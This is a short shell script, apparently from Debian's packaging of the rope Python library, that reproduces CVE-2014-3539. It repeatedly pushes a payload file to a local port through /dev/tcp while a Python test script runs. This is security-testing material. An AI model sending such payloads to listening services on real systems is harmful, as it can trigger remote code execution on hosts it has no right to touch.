File: run_reproducer.sh

package info (click to toggle)
rope 0.10.3-1
  • links: PTS, VCS
  • area: main
  • in suites: stretch
  • size: 1,748 kB
  • ctags: 4,218
  • sloc: python: 25,494; sh: 8; makefile: 3
file content (11 lines) | stat: -rw-r--r-- 262 bytes parent folder | download | duplicates (2)
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
export PYTHONPATH=$(readlink -f ../..):$PYTHONPATH
trap "killall -- $(basename $0)" EXIT

(while : ; do
    ( cat payload.txt > /dev/tcp/0.0.0.0/3037; ) &>/dev/null \
        && echo -n "SUCCESS: "
done)&

python CVE-2014-3539.py 2>/dev/null
exit $?